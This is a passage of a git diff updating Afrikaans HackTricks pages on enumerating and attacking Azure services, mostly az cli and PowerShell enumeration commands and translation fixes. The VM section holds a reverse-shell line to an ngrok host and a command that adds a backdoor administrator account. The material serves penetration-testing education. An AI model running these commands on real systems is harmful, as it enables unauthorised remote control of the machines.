Logic Apps. Integrasie Rekeninge word gebruik om ondernemingsvlak integrasies te fasiliteer deur gevorderde B2B vermoëns moontlik te maak, soos EDI, AS2, en XML skema bestuur. Integrasie Rekeninge is 'n houer in Azure wat die volgende artefakte stoor wat vir Logic Apps gebruik word: * Skemas: Bestuur XML skemas vir die validering en verwerking van boodskappe in jou integrasie rekening. -* Kaarte: Konfigureer XSLT-gebaseerde transformasies om data formate binne jou integrasie werksvloei te omskep. -* Versamelings: Bestuur integrasie rekening versamelings om logika en data verwerking te stroomlyn. -* Sertifikate: Hanteer sertifikate vir die enkripsie en ondertekening van boodskappe, wat veilige kommunikasie verseker. +* Kaarte: Konfigureer XSLT-gebaseerde transformasies om dataformate binne jou integrasie werksvloei te omskep. +* Versamelings: Bestuur integrasie rekening versamelings om logika en dataverwerking te stroomlyn. +* Sertifikate: Hanteer sertifikate vir die enkriptering en ondertekening van boodskappe, wat veilige kommunikasie verseker. * Vennootskappe: Bestuur handelsvennoot inligting vir B2B transaksies, wat naatlose integrasies moontlik maak. * Ooreenkomste: Konfigureer reëls en instellings vir die uitruil van data met handelsvennote (bv. EDI, AS2). * Batch Konfigurasies: Bestuur batch verwerking konfigurasies om boodskappe doeltreffend te groepeer en te verwerk. @@ -157,9 +151,8 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "" -Name " @@ -219,11 +212,9 @@ az logic integration-account assembly show \ ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```powershell Get-Command -Module Az.LogicApp @@ -254,23 +245,22 @@ Get-AzIntegrationAccountPartner -ResourceGroupName -Integr # Retrieve details of a specific schema in an integration account Get-AzIntegrationAccountSchema -ResourceGroupName -IntegrationAccountName -Name ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} ## Privilege Escalation Dieselfde as logika-apps privesc: -{% content-ref url="../az-privilege-escalation/az-logic-apps-privesc.md" %} -[az-logic-apps-privesc.md](../az-privilege-escalation/az-logic-apps-privesc.md) -{% endcontent-ref %} +{{#ref}} +../az-privilege-escalation/az-logic-apps-privesc.md +{{#endref}} ## Post Exploitation -{% content-ref url="../az-post-exploitation/az-logic-apps-post-exploitation.md" %} -[az-logic-apps-post-exploitation.md](../az-post-exploitation/az-logic-apps-post-exploitation.md) -{% endcontent-ref %} +{{#ref}} +../az-post-exploitation/az-logic-apps-post-exploitation.md +{{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-mysql.md b/src/pentesting-cloud/azure-security/az-services/az-mysql.md index 71b36f2fa..6a18c9872 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-mysql.md +++ b/src/pentesting-cloud/azure-security/az-services/az-mysql.md @@ -3,29 +3,28 @@ {{#include ../../../banners/hacktricks-training.md}} ## Azure MySQL -Azure Database for MySQL is 'n volledig bestuurde relationele databasisdiens gebaseer op die MySQL Gemeenskapsuitgawe, ontwerp om skaalbaarheid, sekuriteit en buigsaamheid te bied vir verskeie toepassingsbehoeftes. Dit het twee verskillende ontplooiingsmodelle: +Azure Database for MySQL is 'n volledig bestuurde relationele databasisdiens gebaseer op die MySQL Community Edition, ontwerp om skaalbaarheid, sekuriteit en buigsaamheid te bied vir verskeie toepassingsbehoeftes. Dit het twee verskillende ontplooiingsmodelle: * **Single Server** (is op die aftreepad): -- Geoptimaliseer vir kostedoeltreffende en maklik bestuurbare MySQL ontplooiings. +- Geoptimaliseer vir kostedoeltreffende en maklik bestuurbare MySQL-ontplooiings. - Kenmerke sluit outomatiese rugsteun, hoë beskikbaarheid en basiese monitering in. - Ideaal vir toepassings met voorspelbare werklas. * **Flexible Server**: - Bied meer beheer oor databasisbestuur en konfigurasie. - Ondersteun hoë beskikbaarheid (dieselfde sone en sone-redundant). - Kenmerke sluit elastiese skaalbaarheid, patchbestuur en werklasoptimalisering in. -- Bied stop/start funksionaliteit vir kostebesparings. +- Bied stop/start-funksionaliteit vir kostebesparings. ### Key Features -* **Server Management**: Die **ad-admin** kenmerk laat die bestuur van Azure Active Directory (AAD) administrateurs vir MySQL bedieners toe, wat beheer oor administratiewe toegang via AAD akrediteerbare bied, terwyl die **identity** kenmerk die toewysing en bestuur van Azure Managed Identities moontlik maak, wat veilige, akrediteerbare-vrye verifikasie bied vir toegang tot Azure hulpbronne. +* **Server Management**: Die **ad-admin** kenmerk laat die bestuur van Azure Active Directory (AAD) administrateurs vir MySQL bedieners toe, wat beheer oor administratiewe toegang via AAD-akkrediteerbare bied, terwyl die **identity** kenmerk die toewysing en bestuur van Azure Managed Identities moontlik maak, wat veilige, akkrediteerbare-vrye verifikasie bied vir toegang tot Azure hulpbronne. * **Lifecycle Management**: opsies om 'n bediener te begin of te stop, 'n fleksibele bedienerinstansie te verwyder, 'n bediener te herbegin om vinnig konfigurasiewijzigings toe te pas, en te wag om te verseker dat 'n bediener aan spesifieke voorwaardes voldoen voordat outomatiseringskripte voortgaan. -* **Security and Networking**: kan bediener firewall reëls bestuur vir veilige databasis toegang en virtuele netwerk konfigurasies soos nodig ontkoppel. -* **Data Protection and Backup**: sluit opsies in om fleksibele bediener rugsteun te bestuur vir dataherwinning, geo-herstel uit te voer om 'n bediener in 'n ander streek te herstel, bediener rugsteun vir eksterne gebruik te eksporteer (in Voorbeeld), en 'n bediener van rugsteun na 'n spesifieke tydstip te herstel. +* **Security and Networking**: kan bediener-vuurmuurreëls bestuur vir veilige databasis toegang en virtuele netwerk konfigurasies soos nodig ontkoppel. +* **Data Protection and Backup**: sluit opsies in om fleksibele bediener rugsteun te bestuur vir dataherwinning, geo-herstel uit te voer om 'n bediener in 'n ander streek te herstel, bediener rugsteun vir eksterne gebruik te eksporteer (in Preview), en 'n bediener van rugsteun na 'n spesifieke tydstip te herstel. ### Enumeration -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # List all flexible-servers az mysql flexible-server db list --resource-group @@ -55,11 +54,9 @@ az mysql flexible-server maintenance list --resource-group az mysql flexible-server server-logs list --resource-group --server-name ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.MySql @@ -95,15 +92,12 @@ Get-AzMySqlFlexibleServerMaintenanceWindow -ResourceGroupName -ServerName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} ### Verbinding Met die uitbreiding rdbms-connect kan jy toegang tot die databasis verkry met: - -{% code overflow="wrap" %} ```bash az mysql flexible-server connect -n -u -p --interactive @@ -116,17 +110,11 @@ az mysql flexible-server execute \ --querytext "SELECT * FROM ;" ``` -{% endcode %} - Of met die MySQL inheemse uitbreiding plugin -{% code overflow="wrap" %} ```bash mysql -h .mysql.database.azure.com -P 3306 -u -p ``` -{% endcode %} - -U kan ook navrae met github uitvoer, maar die wagwoord en gebruiker is ook nodig. U moet 'n sql-lêer opstel met die navraag om uit te voer en dan: -{% code overflow="wrap" %} +Ook kan jy navrae uitvoer met github, maar die wagwoord en gebruiker is ook nodig. Jy moet 'n sql-lêer opstel met die navraag om uit te voer en dan: ```bash # Setup az mysql flexible-server deploy setup \ @@ -145,19 +133,17 @@ az mysql flexible-server deploy run \ --action-name \ --branch ``` -{% endcode %} - ## Privilege Escalation -{% content-ref url="../az-privilege-escalation/az-mysql-privesc.md" %} -[az-mysql-privesc.md](../az-privilege-escalation/az-mysql-privesc.md) -{% endcontent-ref %} +{{#ref}} +../az-privilege-escalation/az-mysql-privesc.md +{{#endref}} ## Post Exploitation -{% content-ref url="../az-post-exploitation/az-mysql-post-exploitation.md" %} -[az-sql-mysql-exploitation.md](../az-post-exploitation/az-mysql-post-exploitation.md) -{% endcontent-ref %} +{{#ref}} +../az-post-exploitation/az-mysql-post-exploitation.md +{{#endref}} ## ToDo diff --git a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md index eafe844c8..96aafe2d0 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md +++ b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md @@ -26,9 +26,8 @@ ### Enumerasie -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # List servers in a resource group az postgres flexible-server list --resource-group @@ -64,11 +63,9 @@ az postgres flexible-server maintenance list --resource-group --server-name ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.PostgreSql @@ -91,15 +88,12 @@ Get-AzPostgreSqlFlexibleServerLocationBasedCapability -Location Get-AzPostgreSqlServer -ResourceGroupName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} ### Verbinding Met die uitbreiding rdbms-connect kan jy toegang tot die databasis verkry met: - -{% code overflow="wrap" %} ```bash az postgres flexible-server connect -n -u -p --interactive @@ -112,36 +106,31 @@ az postgres flexible-server execute \ --querytext "SELECT * FROM ;" ``` -{% endcode %} - Of -{% code overflow="wrap" %} ```bash psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser ``` -{% endcode %} - ## Verwysings -* [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/) -* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview) -* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview) +- [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/) +- [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview) +- [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview) ## Privilege Escalation -{% content-ref url="../az-privilege-escalation/az-postgresql-privesc.md" %} -[az-postgresql-privesc.md](../az-privilege-escalation/az-postgresql-privesc.md) -{% endcontent-ref %} +{{#ref}} +../az-privilege-escalation/az-postgresql-privesc.md +{{#endref}} ## Post Exploitation -{% content-ref url="../az-post-exploitation/az-postgresql-post-exploitation.md" %} -[az-postgresql-post-exploitation.md](../az-post-exploitation/az-postgresql-post-exploitation.md) -{% endcontent-ref %} +{{#ref}} +../az-post-exploitation/az-postgresql-post-exploitation.md +{{#endref}} ## ToDo -* Soek 'n manier om met ad-admin toegang te verkry om te verifieer dat dit 'n privesc metode is +* Soek 'n manier om met ad-admin toegang te verkry om te verifieer dat dit 'n privesc-metode is {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md b/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md index 93443e071..c8eaa29e1 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md +++ b/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md @@ -4,7 +4,7 @@ ## Basiese Inligting -Azure Queue Storage is 'n diens in Microsoft se Azure wolkplatform wat ontwerp is vir boodskapkwotering tussen toepassingskomponente, **wat asynchrone kommunikasie en ontkoppeling moontlik maak**. Dit laat jou toe om 'n onbeperkte aantal boodskappe te stoor, elk tot 64 KB in grootte, en ondersteun operasies soos die skep en verwyder van kwotasies, die toevoeging, opvraging, opdatering en verwydering van boodskappe, sowel as die bestuur van metadata en toegangbeleide. Terwyl dit tipies boodskappe in 'n eerste-in-eerste-uit (FIFO) manier verwerk, word strikte FIFO nie gewaarborg nie. +Azure Queue Storage is 'n diens in Microsoft se Azure wolkplatform wat ontwerp is vir boodskapkwotering tussen toepassingskomponente, **wat asynchrone kommunikasie en ontkoppeling moontlik maak**. Dit stel jou in staat om 'n onbeperkte aantal boodskappe te stoor, elk tot 64 KB in grootte, en ondersteun operasies soos die skep en verwyder van kwotasies, die toevoeging, opvraging, opdatering en verwydering van boodskappe, sowel as die bestuur van metadata en toegangbeleide. Terwyl dit tipies boodskappe in 'n eerste-in-eerste-uit (FIFO) manier verwerk, word strikte FIFO nie gewaarborg nie. ### Enumerasie @@ -12,19 +12,19 @@ Azure Queue Storage is 'n diens in Microsoft se Azure wolkplatform wat ontwerp i {{#tab name="Az Cli" }} ```bash # You need to know the --account-name of the storage (az storage account list) -az storage queue list --account-name +az storage queue list --account-name # --auth-mode login # Queue Metadata -az storage queue metadata show --name --account-name +az storage queue metadata show --name --account-name # --auth-mode login #Get ACL -az storage queue policy list --queue-name --account-name +az storage queue policy list --queue-name --account-name # --auth-mode login # Get Messages (getting a message deletes it) -az storage message get --queue-name --account-name +az storage message get --queue-name --account-name # --auth-mode login # Peek Messages -az storage message peek --queue-name --account-name +az storage message peek --queue-name --account-name # --auth-mode login ``` {{#endtab }} diff --git a/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md index f79bfdbda..9c974246d 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md +++ b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md @@ -16,7 +16,7 @@ Azure Service Bus is 'n wolk-gebaseerde **boodskapdiens** wat ontwerp is om betr - Meerdere onafhanklike intekeninge ontvang kopieë van boodskappe. - Intekeninge kan reëls/filters hê om aflewering te beheer of metadata by te voeg. - Ondersteun baie-tot-baie kommunikasie. -3. **Namespaces:** 'n Houer vir alle boodskapkomponente, queues en topics, is soos jou eie skyfie van 'n kragtige Azure-kluster, wat toegewyde kapasiteit bied en opsioneel oor drie beskikbaarheidsgebiede strek. +3. **Namespaces:** 'n houer vir alle boodskapkomponente, queues en topics, is soos jou eie skyfie van 'n kragtige Azure-kluster, wat toegewyde kapasiteit bied en opsioneel oor drie beskikbaarheidsone strek. ### Gevorderde Kenmerke @@ -26,10 +26,10 @@ Sommige gevorderde kenmerke is: - **Outomatiese Oorgang**: Oordra boodskappe tussen queues of topics in dieselfde namespace. - **Doodbrief**: Vang onaflewerbare boodskappe vir hersiening. - **Geskeduleerde Aflewering**: Vertraag boodskapverwerking vir toekomstige take. -- **Boodskap Uitstel**: Stel boodskaponttrekking uit totdat gereed. +- **Boodskap Uitstel**: Stel boodskapophaling uit totdat gereed. - **Transaksies**: Groepeer operasies in atomiese uitvoering. -- **Filters & Aksies**: Pas reëls toe om boodskappe te filter of te annotasie. -- **Outomatiese Verwydering op Inaktiwiteit**: Verwyder queues na inaktiwiteit (min: 5 minute). +- **Filters & Aksies**: Pas reëls toe om boodskappe te filter of te annoteren. +- **Outomatiese Verwydering by Inaktiwiteit**: Verwyder queues na inaktiwiteit (min: 5 minute). - **Dubbele Opsporing**: Verwyder dubbele boodskappe tydens herstuur. - **Batch Verwydering**: Grootskaalse verwydering van vervalde of onnodige boodskappe. @@ -37,7 +37,7 @@ Sommige gevorderde kenmerke is: SAS Beleide definieer die toegangstoestemmings vir Azure Service Bus entiteite namespace (Die Belangrikste Een), queues en topics. Elke beleid het die volgende komponente: -- **Toestemmings**: Aankruisvakke om toegangsvlakke spesifiseer: +- **Toestemmings**: Aankruisvakke om toegangsvlakke te spesifiseer: - Bestuur: Gee volle beheer oor die entiteit, insluitend konfigurasie en toestemmingbestuur. - Stuur: Laat toe om boodskappe na die entiteit te stuur. - Luister: Laat toe om boodskappe van die entiteit te ontvang. @@ -51,9 +51,8 @@ sku, magtigingreël, ### Enumerasie -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # Queue Enumeration az servicebus queue list --resource-group --namespace-name @@ -81,11 +80,9 @@ az servicebus queue authorization-rule list --resource-group - az servicebus topic authorization-rule list --resource-group --namespace-name --topic-name az servicebus namespace authorization-rule keys list --resource-group --namespace-name --name ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```powershell Get-Command -Module Az.ServiceBus @@ -128,9 +125,8 @@ Get-AzServiceBusSubscription -ResourceGroupName -NamespaceNa # Retrieves details of a specified topic in a Service Bus namespace. Get-AzServiceBusTopic -ResourceGroupName -NamespaceName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} ### Privilege Escalation @@ -147,8 +143,8 @@ Get-AzServiceBusTopic -ResourceGroupName -NamespaceName -ResourceGroupName ## Beelde, Galery Beelde & Herstelpunte 'n **VM beeld** is 'n sjabloon wat die bedryfstelsel, toepassingsinstellings en lêerstelsel bevat wat nodig is om 'n **nuwe virtuele masjien (VM)** te **skep**. Die verskil tussen 'n beeld en 'n skyf-snapshot is dat 'n skyf-snapshot 'n lees-alleen, punt-in-tyd kopie van 'n enkele bestuurde skyf is, wat hoofsaaklik vir rugsteun of probleemoplossing gebruik word, terwyl 'n beeld **meerdere skywe kan bevat en ontwerp is om as 'n sjabloon te dien vir die skep van nuwe VM's**.\ -Beelde kan bestuur word in die **Beelde afdeling** van Azure of binne **Azure rekenaar galerye** wat dit moontlik maak om **weergawe** te genereer en die beeld oor huurders te **deel** of selfs dit publiek te maak. +Beelde kan bestuur word in die **Beelde afdeling** van Azure of binne **Azure rekenaar galerye** wat dit moontlik maak om **weergawe** te genereer en die beeld oor huurders te deel of selfs dit publiek te maak. 'n **herstelpunt** stoor die VM-konfigurasie en **punt-in-tyd** toepassings-konsistente **snapshots van al die bestuurde skywe** wat aan die VM gekoppel is. Dit is verwant aan die VM en die doel daarvan is om daardie VM te kan herstel na hoe dit was in daardie spesifieke punt in tyd. @@ -144,13 +144,13 @@ Get-AzRestorePointCollection -Name -ResourceGroupName -ResourceGroupName ``` +{{#endtab }} +{{#endtabs }} + ## Kode-uitvoering in VM's ### VM-uitbreidings @@ -462,7 +470,7 @@ Dit is moontlik om **aangepaste uitbreidings te loop wat aangepaste kode uitvoer {{#tabs }} {{#tab name="Linux" }} -- Voer 'n omgekeerde shell uit +- Voer 'n terugshell uit ```bash # Prepare the rev shell echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64 @@ -522,7 +530,7 @@ az vm extension set \ ``` U kan ook ander payloads uitvoer soos: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` -- Stel wagwoord weer in met behulp van die VMAccess-uitbreiding +- Stel wagwoord terug met behulp van die VMAccess-uitbreiding ```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password @@ -539,7 +547,7 @@ Die vereiste toestemming is steeds **`Microsoft.Compute/virtualMachines/extensio VMAccess-uitbreiding -Hierdie uitbreiding stel jou in staat om die wagwoord te wysig (of te skep as dit nie bestaan nie) van gebruikers binne Windows VM's. +Hierdie uitbreiding stel in staat om die wagwoord te wysig (of te skep as dit nie bestaan nie) van gebruikers binne Windows VM's. ```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password @@ -739,7 +747,7 @@ echo "Hello World" > /var/tmp/output.txt ``` ### **Voer Opdrag Uit** -Dit is die mees basiese mechanisme wat Azure bied om **arbitraire opdragte in VMs uit te voer**. Die nodige toestemming is `Microsoft.Compute/virtualMachines/runCommand/action`. +Dit is die mees basiese meganisme wat Azure bied om **arbitraire opdragte in VMs uit te voer**. Die nodige toestemming is `Microsoft.Compute/virtualMachines/runCommand/action`. {{#tabs }} {{#tab name="Linux" }} diff --git a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md index 3a57bbbdf..96279ecab 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md @@ -95,12 +95,13 @@ Azure Firewall is 'n **bestuurde netwerk sekuriteitsdiens** in Azure wat wolk hu Dit is beskikbaar in drie SKUs—**Basies**, **Standaard**, en **Premium**, elk aangepas vir spesifieke kliëntbehoeftes: -| **Aanbevole Gebruik Geval** | Klein/Gemiddelde Besighede (SMBs) met beperkte behoeftes | Algemene ondernemingsgebruik, Laag 3–7 filtering | Hoog sensitiewe omgewings (bv. betalingsverwerking) | +| Kriteria/Funksie | Opsie 1 | Opsie 2 | Opsie 3 | | ------------------------------ | ------------------------------------------------- | ------------------------------------------- | --------------------------------------------------------- | +| **Aanbevole Gebruiksgel** | Klein/Gemiddelde Besighede (SMBs) met beperkte behoeftes | Algemene ondernemingsgebruik, Laag 3–7 filtering | Hoog sensitiewe omgewings (bv. betalingsverwerking) | | **Prestasie** | Tot 250 Mbps deurset | Tot 30 Gbps deurset | Tot 100 Gbps deurset | -| **Dreigingsintelligensie** | Slegs waarskuwings | Waarskuwings en blokkering (kwaadwillige IP's/domeine) | Waarskuwings en blokkering (gevorderde dreigingsintelligensie) | -| **L3–L7 Filtering** | Basiese filtering | Staatvolle filtering oor protokolle | Staatvolle filtering met gevorderde inspeksie | -| **Gevorderde Dreigingsbeskerming** | Nie beskikbaar | Dreigingsintelligensie-gebaseerde filtering | Sluit Inbraakdetectie en Voorkomingstelsel (IDPS) in | +| **Dreigingsintelligensie** | Slegs waarskuwings | Waarskuwings en blokkering (kwaadwillige IP's/domeine) | Waarskuwings en blokkering (geavanceerde dreigingsintelligensie) | +| **L3–L7 Filtering** | Basiese filtering | Staatvolle filtering oor protokolle | Staatvolle filtering met geavanceerde inspeksie | +| **Geavanceerde Dreigingsbeskerming** | Nie beskikbaar | Dreigingsintelligensie-gebaseerde filtering | Sluit Inbraakdetectie en Voorkomingstelsel (IDPS) in | | **TLS Inspeksie** | Nie beskikbaar | Nie beskikbaar | Ondersteun inkomende/uitgaande TLS terminering | | **Beskikbaarheid** | Vaste agtergrond (2 VM's) | Outoskalering | Outoskalering | | **Gemak van Bestuur** | Basiese kontroles | Bestuur via Firewall Bestuurder | Bestuur via Firewall Bestuurder | @@ -144,7 +145,7 @@ Get-AzFirewall Azure **Roete Tabels** word gebruik om die routing van netwerkverkeer binne 'n subnet te beheer. Hulle definieer reëls wat spesifiseer hoe pakkette gestuur moet word, hetsy na Azure hulpbronne, die internet, of 'n spesifieke volgende stap soos 'n Virtuele Toestel of Azure Firewall. Jy kan 'n roete tabel met 'n **subnet** assosieer, en alle hulpbronne binne daardie subnet sal die roetes in die tabel volg. -**Voorbeeld:** As 'n subnet hulpbronne huisves wat uitgaande verkeer deur 'n Netwerk Virtuele Toestel (NVA) vir inspeksie moet routeer, kan jy 'n **roete** in 'n roete tabel skep om alle verkeer (bv. `0.0.0.0/0`) na die NVA se private IP-adres as die volgende stap te herlei. +**Voorbeeld:** As 'n subnet hulpbronne huisves wat uitgaande verkeer deur 'n Netwerk Virtuele Toestel (NVA) vir inspeksie moet roete, kan jy 'n **roete** in 'n roete tabel skep om alle verkeer (bv. `0.0.0.0/0`) na die NVA se private IP-adres as die volgende stap te herlei. ### **Enumerasie** @@ -171,16 +172,16 @@ Get-AzRouteTable ## Azure Private Link -Azure Private Link is 'n diens in Azure wat **privaat toegang tot Azure-dienste moontlik maak** deur te verseker dat **verkeer tussen jou Azure virtuele netwerk (VNet) en die diens heeltemal binne Microsoft se Azure rugsteun netwerk beweeg**. Dit bring die diens effektief in jou VNet. Hierdie opstelling verbeter sekuriteit deur die data nie aan die openbare internet bloot te stel nie. +Azure Private Link is 'n diens in Azure wat **privaat toegang tot Azure dienste moontlik maak** deur te verseker dat **verkeer tussen jou Azure virtuele netwerk (VNet) en die diens heeltemal binne Microsoft se Azure rugsteun netwerk beweeg**. Dit bring effektief die diens in jou VNet. Hierdie opstelling verbeter sekuriteit deur die data nie aan die openbare internet bloot te stel nie. -Private Link kan gebruik word met verskeie Azure-dienste, soos Azure Storage, Azure SQL Database, en pasgemaakte dienste wat via Private Link gedeel word. Dit bied 'n veilige manier om dienste van binne jou eie VNet of selfs van verskillende Azure-subskripsies te verbruik. +Private Link kan gebruik word met verskeie Azure dienste, soos Azure Storage, Azure SQL Database, en pasgemaakte dienste wat via Private Link gedeel word. Dit bied 'n veilige manier om dienste van binne jou eie VNet of selfs van verskillende Azure subskripsies te verbruik. > [!CAUTION] > NSG's is nie van toepassing op private eindpunte nie, wat duidelik beteken dat die assosiasie van 'n NSG met 'n subnet wat die Private Link bevat, geen effek sal hê nie. **Voorbeeld:** -Oorweeg 'n scenario waar jy 'n **Azure SQL Database het wat jy veilig van jou VNet wil toegang**. Normaalweg kan dit behels dat jy die openbare internet oorsteek. Met Private Link kan jy 'n **private eindpunt in jou VNet skep** wat direk met die Azure SQL Database diens verbind. Hierdie eindpunt laat die databasis lyk asof dit deel van jou eie VNet is, toeganklik via 'n private IP-adres, wat dus veilige en private toegang verseker. +Overweeg 'n scenario waar jy 'n **Azure SQL Database het wat jy veilig van jou VNet wil toegang**. Normaalweg kan dit behels dat jy die openbare internet oorsteek. Met Private Link kan jy 'n **private eindpunt in jou VNet skep** wat direk met die Azure SQL Database diens verbind. Hierdie eindpunt laat die databasis lyk asof dit deel van jou eie VNet is, toeganklik via 'n private IP adres, wat dus veilige en private toegang verseker. ### **Enumeration** @@ -211,7 +212,7 @@ Azure Diens Eindpunte brei jou virtuele netwerk se private adresruimte en die id **Voorbeeld:** -Byvoorbeeld, 'n **Azure Storage** rekening is standaard oor die openbare internet toeganklik. Deur 'n **diens eindpunt vir Azure Storage binne jou VNet** in te skakel, kan jy verseker dat slegs verkeer van jou VNet toegang tot die stoorrekening het. Die stoorrekening se vuurmuur kan dan geconfigureer word om slegs verkeer van jou VNet te aanvaar. +Byvoorbeeld, 'n **Azure Storage** rekening is standaard oor die openbare internet toeganklik. Deur 'n **diens eindpunt vir Azure Storage binne jou VNet** in te skakel, kan jy verseker dat slegs verkeer van jou VNet toegang tot die stoorrekening het. Die stoorrekening se vuurmuur kan dan gekonfigureer word om slegs verkeer van jou VNet te aanvaar. ### **Enumerasie** @@ -262,13 +263,13 @@ In samevatting, terwyl beide Diens Eindpunte en Privaat Skakels veilige konnekti ## Azure Front Door (AFD) & AFD WAF -**Azure Front Door** is 'n skaalbare en veilige toegangspunt vir **vinnige aflewering** van jou globale webtoepassings. Dit **kombineer** verskeie dienste soos globale **laaibalansering, webwerfversnelling, SSL-aflaai, en Webtoepassing Vuurmuur (WAF)** vermoëns in 'n enkele diens. Azure Front Door bied intelligente roetering gebaseer op die **nabyste rand ligging aan die gebruiker**, wat optimale prestasie en betroubaarheid verseker. Daarbenewens bied dit URL-gebaseerde roetering, veelvuldige webwerfgasheer, sessie affiniteid, en toepassingslaagnavorsing. +**Azure Front Door** is 'n skaalbare en veilige toegangspunt vir **vinnige aflewering** van jou globale webtoepassings. Dit **kombineer** verskeie dienste soos globale **laaibalansering, webwerfversnelling, SSL-aflaai, en Webtoepassing Vuurmuur (WAF)** vermoëns in 'n enkele diens. Azure Front Door bied intelligente routering gebaseer op die **nabyste rand ligging aan die gebruiker**, wat optimale prestasie en betroubaarheid verseker. Daarbenewens bied dit URL-gebaseerde routering, meerdere webwerf gasheer, sessie affiniteid, en toepassingslaag sekuriteit. -**Azure Front Door WAF** is ontwerp om **webtoepassings te beskerm teen web-gebaseerde aanvalle** sonder om agtergrondkode te wysig. Dit sluit pasgemaakte reëls en bestuurde reëlstelle in om teen bedreigings soos SQL-inspuiting, kruis-webwerf skripting, en ander algemene aanvalle te beskerm. +**Azure Front Door WAF** is ontwerp om **webtoepassings te beskerm teen web-gebaseerde aanvalle** sonder om agtergrondkode te wysig. Dit sluit pasgemaakte reëls en bestuurde reël stelle in om teen bedreigings soos SQL-inspuiting, kruis-webwerf skripting, en ander algemene aanvalle te beskerm. **Voorbeeld:** -Stel jou voor jy het 'n globaal verspreide toepassing met gebruikers regoor die wêreld. Jy kan Azure Front Door gebruik om **gebruikers versoeke na die naaste streeksdatacentrum** wat jou toepassing gasheer, te roeteer, wat latensie verminder, gebruikerservaring verbeter en **dit te verdedig teen webaanvalle met die WAF vermoëns**. As 'n spesifieke streek stilstand ervaar, kan Azure Front Door verkeer outomaties na die volgende beste ligging herroeteer, wat hoë beskikbaarheid verseker. +Stel jou voor jy het 'n globaal verspreide toepassing met gebruikers regoor die wêreld. Jy kan Azure Front Door gebruik om **gebruikers versoeke na die naaste streeksdatacentrum** wat jou toepassing gasheer, te router, wat latensie verminder, gebruikerservaring verbeter en **dit te verdedig teen webaanvalle met die WAF vermoëns**. As 'n spesifieke streek stilstand ervaar, kan Azure Front Door verkeer outomaties na die volgende beste ligging herrouter, wat hoë beskikbaarheid verseker. ### Enumerasie @@ -295,7 +296,7 @@ Get-AzFrontDoorWafPolicy -Name -ResourceGroupName - ## Azure Hub, Spoke & VNet Peering -**VNet Peering** is 'n netwerkfunksie in Azure wat **verskillende Virtuele Netwerke (VNets) toelaat om direk en naatloos gekoppel te word**. Deur VNet-peering kan hulpbronne in een VNet met hulpbronne in 'n ander VNet kommunikeer met behulp van private IP-adresse, **asof hulle in dieselfde netwerk is**.\ -**VNet Peering kan ook met 'n plaaslike netwerk gebruik word** deur 'n site-to-site VPN of Azure ExpressRoute op te stel. +**VNet Peering** is 'n netwerkfunksie in Azure wat **verskillende Virtuele Netwerke (VNets) toelaat om direk en naatloos gekoppel te word**. Deur VNet-peering kan hulpbronne in een VNet kommunikeer met hulpbronne in 'n ander VNet met behulp van private IP-adresse, **asof hulle in dieselfde netwerk 